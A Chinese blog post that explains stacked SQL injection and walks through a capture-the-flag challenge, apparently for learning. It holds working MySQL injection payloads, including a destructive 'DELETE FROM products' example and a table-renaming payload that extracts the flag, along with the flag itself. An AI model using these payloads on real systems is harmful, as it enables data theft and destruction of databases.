标签:mamicode 令行 gen 网上 区别 显示 word rom 因此
堆叠注入定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
mysql 堆叠注入命令
查看所有数据库:0’;show databases;%23
查看当前数据库的表: 1’;show tables;%23
查看某个表的某个字段: 0’;show columns from users;%23
把users表名改为user:rename tables users to user
把flag字段改为data:alert table words change flag data varchar(100);%23
尝试堆叠注入,好像有东西
继续查
猜测flag在`1919810931114514`表里
网上搜索接下来的步骤,0‘;desc `1919810931114514`;#查看表结构
那么查询语句很有可能是 : selsect id,data from words where id =
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1‘ or 1=1#爆出表所有内容就可以查flag啦
payload:
0‘;rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
得到flag
flag{492456b2-c49d-4ec2-8d75-c4211277efc5}
标签:mamicode 令行 gen 网上 区别 显示 word rom 因此
原文地址:https://www.cnblogs.com/lixin666/p/14855036.html